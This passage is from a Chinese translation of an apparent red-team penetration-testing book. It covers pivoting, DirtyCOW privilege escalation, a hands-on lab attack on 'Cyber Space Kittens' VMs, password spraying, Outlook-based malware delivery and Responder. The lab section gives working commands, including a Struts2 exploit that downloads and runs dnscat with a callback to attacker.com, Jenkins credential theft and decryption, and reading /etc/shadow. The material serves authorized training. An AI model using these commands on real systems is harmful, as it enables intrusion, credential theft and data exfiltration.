-i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389 在 Meterpreter 会话上设置一个前置端口以监听端口3389上的 VPS,并通过被攻陷的机器将该流量发送到下一个要横向移动到的服务器。 portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address] 在我们的攻击者机器上,打开我们的 Microsoft 远程桌面客户端,将你的连接设置为你自己的本地主机 -127.0.0.1,然后输入受害者的凭据以通过 RDP 进行连接。 在 Linux 中横向移动 在 Linux 中的操作多年来变化不大。通常,如果你使用的是 dnscat2 或 Meterpreter,它们都支持自己的转发。 dnscat2: listen 127.0.0.1:9999 <target_IP>:22 Metasploit post/windows/manage/autoroute Metasploit Socks Proxy + Proxychains use auxiliary/server/socks4a Meterpreter: portfwd add –l 3389 –p 3389 –r <target_IP> 如果你幸运地获得了一个 SSH shell,那么我们可以通过该系统进行渗透。我们如何获得 SSH shell 呢?在许多情况下,一旦我们可以实现本地文件包含(LFI)或远程代码执行(RCE),我们可以尝试权限升级以读取 /etc/shadow 文件(和密码破解),或者我们可以利用一些 Mimimikatz 风格的方法。 与 Windows 和 Mimikatz 一样,Linux 系统也有同样的问题,密码以明文形式存储。@huntergregal 编写的工具可以转储特定进程,这些进程很可能以明文形式包含用户的密码。尽管迄今为止,这只适用于有限版本的 Linux 系统,但这个相同的概念可以在整个系统中使用。你可以在这里准确地看到哪些系统以及从何处获取密码: https://github.com/huntergregal/mimipenguin 一旦我们在被入侵的主机上获得了凭证,并且可以通过 SSH 反弹 shell,我们就可以通过这个隧道传输流量,并在机器之间进行数据隐藏。在 SSH 中,有一些很好的特性可以让我们执行这个操作过程: 设置动态 Sock Proxy 以使用 proxychains 通过主机隐藏我们的所有流量: ssh -D 127.0.0.1:8888 -p 22 @ <Target_IP> 单个端口的基本端口转发: ssh @<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80 通过 SSH 的 VPN。这是一个非常棒的特性,使得可以通过 SSH 隧道隐蔽传输第3层网络流量。 https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh Linux 提权 Linux 权限提升在很大程度上与 Windows 类似。我们寻找可以写入的易受攻击的服务、那些棘手的错误配置、平面文件中的密码、所有的可写文件、计划任务,当然还有修补问题。 在有效和高效地分析 Linux 系统中的权限提升问题方面,我们可以使用一些工具来为我们完成所有的工作。 在我们进行任何类型的权限提升攻击之前,我首先要在 Linux 主机上进行一个良好的信息收集工作,并识别所有关于系统的信息。这包括用户、服务、定时任务、软件版本、弱信任对象、错误配置的文件权限,甚至是 Docker 信息。我们可以使用一个名为 LinEnum 的工具来为我们完成所有的累活( https://github.com/rebootuser/linenum )。 这是一个非常长的报告,内容是你可能想要了解的关于底层系统的所有信息,这对于未来的活动来说是非常好的。 一旦我们获得了关于系统的信息,我们就会试图看看我们是否能够利用这些漏洞中的任何一个。如果我们找不到任何可用的漏洞或服务、计划任务中的错误配置,我们将直接在系统或应用程序上进行攻击。我试着最后做这些,因为总是有一个潜在的可能性可以直接使系统挂掉。 我们可以运行一个名为 linux-exploit-suggester 的工具来分析主机系统并识别缺失的补丁和漏洞。一旦识别出漏洞,该工具还将向你提供可用 PoC 漏洞的链接。 现在,我们要利用什么呢?这就是经验和实践真正发挥作用的地方。在我的实验中,我将配置大量不同的 Linux 版本,以验证这些漏洞攻击不会使底层系统崩溃。在这个场景中,我最喜欢的一个漏洞是 DirtyCOW。 DirtyCOW 的工作原理是“在Linux内核的内存子系统处理写访问时只读私有映射 COW 情况中断的方式中发现了竞争条件。非特权本地用户可以使用此缺陷获取对其他只读内存映射的写访问权限,从而增加他们在系统上的权限。”[https://dirtycow.ninja/] 简而言之,此漏洞允许攻击者通过内核漏洞从非特权用户转到 root 权限。这是我们能想到的的最佳权限提升的方法!但有一个问题是它会导致一些内核崩溃,所以我们必须确保在正确的 Linux 内核上使用正确的版本。 在 Ubuntu 上测试 DirtyCOW (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64): 下载 DirtyCOW payload wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c 编译 DirtyCOW payload gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread 运行 DirtyCOW 以访问系统 ./dirtycow-mem 关闭定期写回以使漏洞稳定 echo 0 > /proc/sys/vm/dirty_writeback_centisecs Try reading the shadow file cat /etc/shadow Linux 横向移动实验 横向移动的问题是,没有一个设置起点逐步深入的环境很难练习。因此,我们向你介绍了 CSK 网络安全实验。在这个实验中,你将在不同的设备之间进行切换,使用最近的漏洞攻击和权限提升攻击,并利用 Linux 环境中本身存在的应用程序进行攻击。 设置虚拟环境 这个虚拟实验环境的设置有些复杂。这是因为网络需要三个不同的静态虚拟机才能运行,并且你需要事先进行一些设置。所有这些都在 VMware Workstation 和 VMware Fusion 中进行了测试,因此如果你使用的是 VirtualBox,那么你可能需要对它进行适当的调整。 下载三台虚拟机: http://thehackerplaybook.com/get.php?type=csk-lab 虽然你不需要这些系统的 root 帐户,但 hacker/changeme 是用户名/密码,尽量不要更改。 所有三台虚拟机都配置为使用 NAT 网络接口。要使该实验环境正常工作,你必须在 VMware 中配置虚拟机的 NAT 设置,才能使用172.16.250.0/24网络。要在 Windows VMware Workstation 中执行此操作,请执行以下操作: 在开始菜单,依次点击 编辑 -> 虚拟网络编辑器 -> 更改设置 选择需要设置 NAT 类型的界面(我这里设置的是 VMnet8) 修改子网 IP 为 172.16.250.0 ,并点击 应用 在 OSX 中,操作更复杂。你需要: 复制原始的 dhcpd.conf 作为备份 sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf.bakup 编辑 dhcpd.conf 文件以使用172.16.250.x 而不是192.168.x.x sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf 编辑 nat.conf 以使用正确的网关 sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf #NAT gateway address ip = 172.16.250.2 netmask = 255.255.255.0 重新启动服务: sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --stop sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start 现在,你应该能够在 NAT 模式下启动 THP Kali VM,并在172.16.250.0/24范围内获得一个 DHCP 分配的 IP。如果你这样做了,就同时启动所有其他三个实验虚拟机,然后开始黑客攻击吧。 攻击 CSK 安全网络 最后,你已经从 Windows 环境转到了安全生产环境网络中。从你所有的侦察和研究中,你知道所有的秘密都存储在这里。这是他们保护最严密的网络之一,我们知道他们已经分步部署了他们的安全基础设施。从他们的文档来看,似乎有多个 VLAN 需要进行入侵,而且你似乎需要在各个系统之间切换才能访问核心数据库。这就是你发起这次攻击的目的...... 以安全网络区域的外部为中心,可以看到为此环境配置的网络范围位于172.16.250.0/24网络中。由于你对这个网络不太了解,你可以先进行一些非常简单的 nmap 扫描。你需要确定哪些系统可以从网络外部访问,以确定如何启动攻击。 扫描网络: nmap 172.16.50.0/24 你注意到有三个设备正在运行,但只有一个设备启用了 Web 端口。看起来其他两个设备与安全网络之外是隔离的,这意味着我们必须首先入侵172.16.250.10设备才能转到其他两个服务器。访问第一个系统(172.16.250.10),你会看到 Apache Tomcat 正在监听端口8080,而一些 OpenCMS 在端口80上。运行 web fuzzer 时,你会注意到 OpenCMS 页面也在运行 Apache Struts2(或者是 struts2 showcase)。你的脑海立马想到了Equifax 数据泄露事件中黑客的攻击手法。你喜出望外,太好了,但你还是要检查一下。在 msfconsole 上运行一个快速搜索并测试漏洞 struts2_content_type_ognl。 我们知道,CSK 会严格监控受保护的网络流量,其内部服务器可能不允许直接访问公司网络。为了解决这个问题,我们必须使用我们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通信。当然,在真实操作中,我们可能会使用权威的 DNS 服务器,但仅针对本地测试的话,我们将配置自己的 DNS 服务器。 [本书的 Kali 机器] 本书的定制 Kali 虚拟机应该拥有执行攻击的所有工具。 我们需要在 Web 服务器上放上我们的 payload,这样我们就可以让我们的 metasploit payload 抓取 dnscat 恶意软件。在 dnscat2 客户机文件夹中是 dnscat 二进制文件。 cd /opt/dnscat2/client/ python -m SimpleHTTPServer 80 启动 dnscat 服务器 cd /opt/dnscat2/server/ ruby ./dnscat2.rb 为 dnscat 记录你的密钥 打开新终端并加载 Metasploit msfconsole 搜索 struts2并加载 struts2漏洞 search struts2 use exploit/multi/http/struts2_content_type_ognl 配置 struts2漏洞以获取我们的 dnscat payload 并在受害者服务器上执行。确保在前面更新你的 IP 和密钥。 set RHOST 172.16.250.10 set RPORT 80 set TARGETURI struts2-showcase/showcase.action set PAYLOAD cmd/unix/generic set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret= run 一旦 payload 执行,你将不会在 Metasploit 中得到任何确认,因为我们使用了 dnscat 的 payload。你需要检查你的 dnscat 服务器是否有任何使用 DNS 流量的连接。 回到 dnscat2服务器上,检查新执行的 payload 并创建一个 shell 终端。 与第一个 payload 进行交互 window -i 1 生成 shell 进程 shell 用键盘按钮返回主菜单 ctrl + z 与新 shell 进行交互 window -i 2 键入 shell 命令 ls 你已经入侵了 OpenCMS/Apache Struts 服务器!现在要做什么?你需要花一些时间检查服务器并寻找有趣的信息。你想起来服务器正在运行 OpenCMS Web 应用程序,并确定该应用程序是在 /opt/tomcat/webapps/kittens 下配置的。在查看 OpenCMS 属性的配置文件时,我们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。 检索数据库信息: cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties 我们成功连接到数据库了,但看不到太多信息。这是因为我们目前是一个有限的 Tomcat 用户,这确实阻碍了我们的攻击。因此,我们需要找到一种提权的方法。在服务器上运行 post exploitation reconnaissance(uname -a && lsb_release -a),你可以识别出这是一个非常旧的 Ubuntu 版本。幸运的是,此服务器容易受到权限提升漏洞 DirtyCOW 的攻击。让我们创建一个 DirtyCOW 二进制文件并转到根目录! Escalation 提升 dnscat 权限: 下载并编译目录: cd /tmp wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread ./dirtycow-mem 尝试保持 DirtyCOW 漏洞利用的稳定性,并允许内核崩溃时重新启动。 echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn whoami 注意:DirtyCOW 不是一个非常稳定的提权方法。如果你对漏洞利用过程有问题,请查看我的 Github 页面,在这里了解创建 setuid 二进制文件的更稳定的过程: https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab 如果仍然有问题,另一个选项是通过 SSH 登录到初始服务器,并以 root 身份执行 dnscat payload。要登录,请使用凭据 hacker/changeme 登录系统并使用 sudo-su 获得 root 权限。 现在,由于主机系统上没有补丁,你已经成为系统的 root 用户。当你再次开始为敏感信息翻阅系统文件时,你会看到 root 的 bash 历史文件。在这个文件中,你可以找到 SSH 命令和私有 SSH 密钥来源。我们可以使用此 SSH 密钥并登录到第二个系统172.16.250.30: cat ~/.bash_history head ~/.ssh/id_rsa ssh -i ~/.ssh/id_rsa [email protected] 你花了一些时间在第二个系统上,试着理解它的用途。在四处搜索时,你注意到在 /home 目录中有一个 Jenkins 用户,它引导你识别在端口8080上运行的 Jenkins 服务。我们如何使用浏览器查看 Jenkins 服务器上的内容?这就是 dnscat 的端口转发功能发挥作用的地方。我们需要退出最初的shell,去命令终端。从那里,我们需要设置一个监听器,通过 dnscat 将我们的流量从攻击者机器转发到端口8080上的 Jenkins Box(172.16.250.30)。 执行 dnscat 端口转发: 退出现有的 shell Ctrl + z 返回我们的第一个命令代理并设置一个监听器/端口转发: window -i 1 listen 127.0.0.1:8080 172.16.250.30:8080 在你的 Kali 虚拟机上,使用我们的端口转发代理打开浏览器并打开下面的地址(这将比 dns 慢一些): http://127.0.0.1:8080/jenkins 在 Jenkins 应用程序内的凭证管理器内部,我们将看到 db_backup 用户密码已存储,但不可见。 我们需要弄清楚如何从 Jenkins 中获取此凭据,以便我们可以继续横向移动。 n00py 对 Jenkins 中存储的凭据以及如何提取它们做了一些很好的研究( http://bit.ly/2GUIN9s )。 我们可以使用现有的 shell 来利用此攻击并获取 credentials.xml,master.key 和 hudson.util.Secret 文件。 返回 dnscat 中的主菜单并与原始 shell 进行交互 Ctrl + z window -i 2 转到 Jenkins 的主目录并获取三个文件:credentials.xml,master.key 和 hudson.util.Secret。 cd /home/Jenkins 我们可以尝试关闭这些文件,或者我们可以将这些文件作为基础并通过当前的 shell 复制它们。 base64 credentials.xml base64 secrets/hudson.util.Secret base64 secrets/master.key 我们可以将 base64输出复制回我们的 Kali 系统并解码它们以破解 db_backup 用户的密码。 cd /opt/jenkins-decrypt echo “” | base64 —decode > hudson.util.Secret echo “” | base64 —decode > master.key echo “” | base64 —decode > credentials.xml 使用 https://github.com/cheetz/jenkins-decrypt 解密密码 python3 ./decrypt.py master.key hudson.util.Secret credentials.xml 我们能够成功解密 db_backup 用户的密码 )uDvra{4UL^;r?*h。如果我们回顾一下之前的注释,我们会在 OpenCMS 属性文件中看到数据库服务器位于 172.16.250.50。看起来这个 Jenkins 服务器出于某种原因会对数据库服务器执行某种备份。让我们检查一下我们是否可以获取 db_backup 的凭据:利用 )uDvra{4UL^;r?*h 通过 SSH 登录数据库服务器。唯一的问题是通过我们的 dnscat shell,我们没有直接按标准输入(STDIN)来与 SSH 的密码提示进行交互。 因此,我们将不得不再次使用我们的端口将我们的 SSH shell 从 Kali 虚拟机通过 dnscat 代理传递到数据库服务器(172.16.250.50)。 回到命令 shell Ctrl + z window -i 1 创建一个新的端口转发,从 localhost 转到172.16.250.50的数据库服务器 listen 127.0.0.1:2222 172.16.250.50:22 一旦使用 db_backup 帐户进入数据库服务器(172.16.250.50),我们会注意到此帐户是 sudoers 文件的一部分,并且可以 sudo su 到 root。 一旦 root 在数据库服务器上,我们将四处寻找也找不到任何访问数据库的凭据。我们可以重置 root 数据库密码,但最终可能会破坏其他一些应用程序。相反,我们搜索位于/var/lib/mysql 下的不同数据库,并发现 cyberspacekittens 数据库。在这里,我们找到 secrets.ibd 文件,其中包含 secrets 表的所有数据。在我们阅读数据时,我们意识到它可能是加密的...由你来执行剩下的操作... 恭喜!!!你已成功入侵 Cyber Space Kittens 网络! 不要止步于此...你可以用这些系统做很多事情;我们现在只触及了表面。随意在被入侵的系统上翻阅,找到更敏感的文件,找出其他权限升级的方法,等等。作为参考,在本实验中,环境拓扑如下所示: 本章总结 在本章中,我们经历了入侵网络的一系列操作。 我们开始在外部网络上没有任何凭据或利用社会工程的方式入侵到我们的第一个受害者系统。从那里开始,我们能够利用目标系统本身的应用程序,获取有关网络和主机系统的信息,横向移动,权限提升,并最终攻陷整个网络。这一切都是建立在最少程度的扫描,利用网络特性,并试图逃避所有检测机制之上完成的。 第4章 带球——开始攻击网络 译者:@Snowming 校对者:@鶇、@leitbogioro、@哈姆太郎、@匿名jack 在进行风险评估项目的第二天,你使用 nmap 扫描了目标的全部网段,还启动了漏洞扫描器,但运气不太好,你没有探测出任何 Web 应用程序的初始入口点。这让你感到有些失败,需要反思一下,重新回顾一下之前收集到的所有信息。因为你知道,一旦可以进入目标网络,就可以使用无数的技巧来获得更多的凭证、在域中漫游、利用 AD(活动目录)的特性,最后找到我们要找的东西。当然,这不是一件容易的事。因为你要绕过众多防火墙,还要欺骗管理员,最后还要擦除自己的痕迹。 在上一本书中,本部分着重于使用漏洞扫描器来发现漏洞并利用它们。这是通过使用诸如 Metasploit、打印机漏洞、心脏滴血、Shellshock、SQL 注入等常见漏洞的利用工具来实现的。最近一段时间,爆出了很多严重的远程代码执行漏洞,比如 永恒之蓝(MS017-10)、多个版本的 Jenkins 漏洞、Apache Struts 2、CMS 应用的代码执行漏洞等等。因为本书是以红队的视角来阐述的,因此我们不会过多地关注如何使用这些工具来攻击利用特定的漏洞。相反,我们将关注如何利用公司现有的应用程序,就地取材来发现漏洞,然后攻破公司网络。 在本章中,将集中讨论红队的战术,如何利用公司基础设施、获取身份凭证、探索内部网络以及在主机和网络之间进行漫游。我们将在不运行任何一个漏洞扫描器的前提下完成这项工作。 从外网寻找侵入对方系统的登陆凭证 作为一个红队成员,找到最初的攻击点可能很麻烦,需要耗费大量的资源。在上本书中,我们尝试过伪造受害者的身份验证页面、购买非常相似的域名来对目标实施钓鱼,以及编写自定义的恶意软件等不同的方法。 有时候,我告诉我的红队队员要保持简单的思想。很多时候,那些令人称赞的高级手段,反而不如一些简单低级的方法管用,最简单的方法往往是最有效的。 最基本的技术之一就是暴力破解密码。但是,作为红队的一员,我们必须考虑如何巧妙地做到这一点。随着公司的发展,公司使用了更多的应用程序和技术工具。对于攻击者来说,这无疑为他们拓宽了进攻的大门。当公司开始暴露在互联网上时,我们看到公司需要对电子邮件(如 Office 365或 OWA)、通信工具(如 Lync、XMPP、WebEx)、协作工具(如 JIRA、Slack、Hipchat、Huddle)和其他外部服务(如 Jenkins、CMS 站点、支持站点)进行身份验证。这些就是我们的目标突破口。 我们试图攻击这些服务器和服务的原因是,我们需要寻找能对受害者的 LDAP 或 AD 这些基础设施进行身份验证的工具。这可以通过 ADFS 方式、单点登录(SSO)方式或者直接使用 AD 域认证等不同的方式来完成。我们需要找到一些可以利用的公共凭证,以便继续进行下一步的攻击。在信息收集阶段,我们发现并识别了大量的电子邮箱地址和用户名帐号,我们将对这些获取到的信息进行一种叫“密码喷洒”(Password Spraying)的攻击。我们将针对所有不同的应用程序,尝试猜测基本密码,正如我们在现实世界的 APT 活动中看到的那样( US-CERT 文章:http://bit.ly/2qyB9rb )。 译者注:“密码喷洒攻击”(Password Spray Attack)并不等同于“密码爆破攻击”(Brute Force Attack)。事实上,这两种攻击是相反的。 在密码爆破攻击中,黑客选择一个易受攻击的 ID 并一个接一个地输入密码,希望有一些密码可以让他们进入。基本上,密码爆破是用多个密码尝试破解同一个 ID。而密码喷洒攻击,是用一个密码来尝试多个用户 ID,以便至少有一个用户 ID 被泄露。对于密码喷洒攻击,黑客使用社交工程或其他网络钓鱼方法收集多个用户 ID。通常情况下,至少有一个用户使用简单的密码,如12345678甚至是 p@ssw0rd。 在密码喷洒攻击中,黑客会为他或她收集的所有用户 ID 应用精心构造的密码。因此,密码喷洒攻击可以定义为将相同的密码应用于组织中的多个用户帐户,目的是安全的对其中一个帐户进行未授权访问。 暴力破解的问题在于,在使用不同密码进行一定次数的尝试后,系统可能会被锁定。为了避免这种情况,产生了收集用户 ID 并将可能的密码应用于它们的想法。使用密码喷洒攻击时,黑客也会采取一些预防措施。例如,如果他们尝试将 password1应用于所有用户帐户,则在完成第一轮后,他们不会立即开始将 password2应用于这些帐户。他们将在黑客攻击中留出至少30分钟的时间。 参考资料:Password Spray Attack Definition and Defending yourself 那么,为什么要针对不同的外部服务进行身份验证呢?这是因为: 有些身份验证程序不会记录从外部服务尝试验证的次数。 虽然我们通常看到电子邮件或 VPN 系统要求双因素验证(2FA),但面向外部的即时通讯系统可能不需要。 密码重用的可能性非常高。 有的时候,当使用 AD 账户多次重复登录失败时,外部系统并不会将此账户锁定。 有很多工具可以实现密码喷洒攻击,但是,我们只关注其中的几个。第一个是来自 Spiderlabs 的名为 Spray 的工具。尽管 Spray 使用起来有点复杂,但我非常喜欢它所支持的一些服务。例如,它支持 SMB、OWA 和 Lync(Microsoft Chat)。 要使用 Spray,你需要指定以下几个参数: spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <Domain> 正如你将在下面的示例中看到的那样,我们使用 Spray 对 cyberspacekittens 上的一个 OWA 邮件服务器(该服务器现在已经下线了)进行密码破解,当它使用密码 Spring2018与用户名 peter 尝试进行配对时,成功的登进了系统。 我经常遇到的一个问题是,应该使用哪个密码进行尝试?因为在锁定帐号之前,只能不停的多次尝试密码。事实上这个问题没有正确答案,使用哪个密码非常依赖于这家公司的密码设置规定。我们过去可以使用一些简单密码进行尝试,比如“Password123”,因为总有一些人会因为图方便而使用简单密码。但随着人们安全意识的提高,现在现在越来越少人使用这种密码了,因而成功率也就变低了。现在的话,我们一般结合使用以下规则的一条到多条来构建我们的尝试密码: 月份和年份的数字组合。 当地的球队和球员的数字编号组合。 查看一些以前泄露出来的数据,找一些有没有目标公司的用户资料泄露,因为相同公司的用户可能会使用类似的密码。 公司名称+年份/编号/特殊的字符 (如!,$,#,@) 编好了密码之后,我们就可以24小时不间断缓慢地运行我们的账号破解程序,慢是为了避免触发任何帐号锁定。请记住,我们仅仅匹配成功一个账号就可以进入大门了! 此图是使用 Curl 对 OWA 进行身份认证的快速脚本 配置 Spray 非常简单,而且其配置文件可以很容易地给其他类似程序参考使用。你需要做的是捕获登录密码时的 POST 请求(可以在 Burp Suite 中完成),复制所有请求数据,并将其保存到文件中。对于任何将要被破解的字段,你需要提供字符串“sprayuser”和“spraypassword”。 例如,在我们的例子中,post-request.txt 文件如下所示: POST /owa/auth.owa HTTP/1.1 Host: mail.cyberspacekittens.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 131 destination=https%3A%2F%2Fcyberspacekittens.com%2Fowa%2F&flags=4&forcedownlevel=0 译者注:最后一个 destination 字段的内容本书的英文版本貌似显示不全,至少是我拿到的英文版本 PDF 显示不全。我只是简单的复制自 PDF,读者注意一下。 如前所述,spray.sh 的另一个好处是它还支持 SMB 和 Lync。另一种具备这个特性的工具称为 Ruler,这个工具还可以对密码喷洒攻击得到的结果进行进一步处理。Ruler 是 Sensepost 安全团队编写的一个工具,它允许你通过 MAPI/HTTP 或 RPC/HTTP 协议与 Exchange 服务器交互。虽然我们主要讨论使用 Ruler 来进行密码破解/信息收集,但是这个工具也支持一些持久性漏洞利用攻击,我们将略微提及这点。 我们可以用的 Ruler 的第一个功能类似于 Spray,它通过对用户名和密码进行匹配来进行账号的破解。Ruler 将载入用户名列表和密码,并尝试查找登陆凭证。它将自动寻找 Exchange 服务器的关键配置并尝试查找登陆凭证。 运行 Ruler: ruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./passwords.txt 一旦我们找到了一个密码,我们就可以使用 Ruler 来获取 Office 365的全局地址列表(GAL)中的所有用户,以查找更多的电子邮件地址及其所属的电子邮件组。 我们继续将获取的这些电子邮件地址通过上面提及的那些密码破解工具来进行破解的尝试,从而获得更多的身份凭证——这就和滚雪球一样。不过,Ruler 的主要用途是,一旦你有了身份凭证,你就可以利用 Office/Outlook 的一些功能来在受害者的电子邮件帐户上创建规则和表单。这里有一篇来自 SensePost 安全团队的文章 outlook-forms-shells,介绍了他们是怎样利用这些功能来执行包含 Empire payload 的宏文件的。 如果你决定不使用 Outlook 表单,或者该功能已经被禁用,我们的思路还可以回到对电子邮件的攻击。这可能会让你感到有点邪恶,因为你将使用这些普通用户的账号登录并阅读他们的所有电子邮件。当我们兴奋的阅读某个用户的电子邮件时,我们会想要和某个他似乎有点信任(但又不算好朋友)的人进行对话。既然已经有了信任的基础,我们就可以利用这个机会给他发送恶意软件。通常,我们会篡改一次会话,在里面夹带附件(如 Office 文件/可执行文件),然后重新发给他们,不过这次附件包含了我们的恶意 payload。在受信任的内网连接和电子邮件之中传递恶意软件,成功掩护了我们的身份,并使这次行动获得成功。 本书始终强调的一点是,整个攻击行动的目的是为了测试蓝队的威胁检测工具和应急响应流程的效率。我们行动的目标非常明确,就是观察他们是否能够有所警觉。又或者像法医解剖那样,仔细复盘行动中发生的一切。对于本节的实验设计,我的想法是验证公司是否能够确定有人正在窃取用户们的电子邮件。所以,我们要做的是使用 Python 脚本来获取所有被破坏的电子邮件。在许多情况下,这可能是千兆字节的数据! 高级选修实验 一个很好的练习是:攻击不同类型的的身份验证服务并对其进行密码尝试。尝试构建一个密码喷洒(Password Spraying)工具,用于测试针对 XMPP 服务、常见第三方 SaaS 工具和其他常见协议的身份验证。最好是在多个 VPS 服务器中执行此操作,所有 VPS 服务器都由一个主服务器控制。 通过网络移动 作为一名红队成员,我们希望尽可能安静地在网络中穿梭。我们希望使用“特征”来查找和利用有关网络、用户、服务等信息。通常,在红队活动中,我们不希望在内网环境中进行任何漏洞扫描相关的活动。有时我们甚至不希望对内部网络运行 nmap 扫描。这是因为许多公司已经非常擅长检测这些类型的扫描,特别是在运行漏洞扫描器这样动静很大的东西时。 在本节中,你将集中精力在不触发任何检测防护的情况下在 CSK 的网络进行横向漫游。我们假设你已经以某种方式进入内部网络并开始寻找你的第一组凭证,或者已经拥有了一个用户机器上的 shell。 建立环境——实验网络 这部分完全是自定义的,但由于微软的授权限制,这本书里没法给你已经制作好的的基于 Windows 的实验环境部署环境。所以至于怎么做,就得看你的动手能力了! 真正学会如何攻击目标环境的唯一方法是自己亲手构建一下目标环境。这能使你更清楚地了解你正在攻击什么,为什么攻击有时候有效,有时候无效,并了解某些特定工具或流程的局限性。那么你需要建立什么样的实验环境呢?基于客户端的环境,Windows 和 Linux(甚至 Mac)可能都需要一个。如果你正在攻击企业网络,你可能需要构建一个完整的 Active Directory 网络(域环境)。在下面的实验中,我们将学习如何为本书中的所有例子构建一个测试环境。 一个理想的 Windows 测试实验环境,你可以自己创建,大概是下面这样的: 域控制器-服务器:[Windows 2016域控制器] Web服务器:[IIS on Windows 2016] 客户端机器:[Windows 10]x3和 [Windows 7]x2 全部运行着 VMWare 的工作站中,工作站的内存至少16GB,SSD 硬盘500GB 配置和创建域控制器: 微软关于构建2016版服务器的说明: https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/ 短地址:http://bit.ly/2JN8E19 安装和配置 Active Directory 之后,使用:dsac.exe 创建用户和组 创建多个用户 创建组并分配给用户(下面是分组): Space Helpdesk Lab 设置客户端机器(Windows 7/10)加入域: 将所有机器都打好系统补丁 将机器连接到域 https://helpdeskgeek.com/how-to/windows-join-domain/ 确保添加一个域用户,该用户能够作为本地管理员在每个系统上运行。这可以通过将该域用户添加到本地机器上的本地 administrators 组来实现。 在每个主机上启用本地管理员并设置密码 将 GPO(组策略)设置为: 禁用防火墙 ( https://www.youtube.com/watch?v=vxXLJSbx1SI ) 禁用 AV( http://bit.ly/2EL0uTd ) 禁用系统自动更新 将 Helpdesk 用户组添加到本地管理员组 仅允许域管理员、本地管理员、Helpdesk 登录( http://bit.ly/2qyJs5D ) 最后,将 GPO 设置同步到主域 将每个操作系统的所有用户设置为自动登录(这会使得攻击测试更加容易)。每次机器启动或重新启动时,它都会自动登录,这样我们就可以轻松地进行攻击并从内存中提取凭证: https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows 短地址:http://bit.ly/2EKatIk 设置 IIS 服务器并配置 SPN: https://www.rootusers.com/how-to-install-iis-in-windows-server-2016/ 短地址:http://bit.ly/2JJQvRK https://support.microsoft.com/en-us/help/929650/how-to-use-spns-when-you-configure-web-applications-that-are-hosted-on 短地址:http://bit.ly/2IXZygL 在内网中没有凭据 假设你无法通过探测外部服务获得任何密码,因此决定潜入大楼内部。你等到午饭后,潜入 Cyber Space Kittens 的办公室,找到吸烟室。即使你不抽烟,但你也知道抽烟的人有结伙心理。你点上一支烟,但是可以不和他们说话,但当他们走进他们的大楼时,你就可以跟着他们一起进去,轻松极了! 既然你已经闯入了 CSK 的内部环境,你可不想在那里呆太久被抓住。你拿出你非常信任的 drop box,找到一间空办公室,把它插上网络,检查你的手机,看看它是否正确传回了 beacon 到了你的家中,确认之后迅速逃回安全的地方。 当你汗流浃背地回到家时候,迅速地找到你的笔记本电脑,登陆你的 VPN 服务器,当你看到那个 beacon 还在连接家里的时候,你就可以松一口气了。现在你可以现在用 SSH 连接 beacon,可以慢慢地去拓展受感染主机的内部网络,在多个主机之间移动,并尝试拿到你所关心的数据。 Responder 就像在上一个活动中一样,我们使用 Responder 在网络上侦听并伪造请求以获得网络上的凭据。回顾一下上本书,当网络上的系统执行查找 DNS 主机名失败时,受害者系统就会使用 Link-Local Multicast Name Resolution(简称 LLMNR)和 Net-BIOS Name Service(NBT-NS)进行回退 DNS 名称解析。当受害者的电脑无法进行 DNS 查找时,他就会开始询问网络上的任何人是否知道该主机名的解析方法。 一个简单而通用的例子:假设你电脑里有一个固定的共享硬盘驱动器目录,为:\cyberspacekittenssecretdrive\secrets。有一天,IT 部门从网络中删除了共享驱动器,它就不存在了。但由于名为 cyberspacekittenssecretdrive 的服务器仍然有一个挂载的驱动器,因此系统将不断询问网络是否有人知道此驱动器并回应它的 IP。虽然现在这种文件共享示例可能很少见,但是,由于以前连接的系统很可能不再存在于网络上,所以这个问题仍然会发生。我们已经从已挂载的驱动器、具有硬编码服务器的应用程序以及许多次的错误配置中看到了这一点。 我们可以使用像 Responder 这样的工具来利用那些寻找有主机名的系统,并使用我们的攻击服务器对其进行响应。更好的是,Responder 可以更进一步,充当 WPAD(Web Proxy Auto-Discovery Protocol,Web 代理自动发现协议)服务器,通过我们的攻击者服务器代理所有数据,但这是另一种攻击了。 cd /opt/Responder ./Responder.py -I eth0 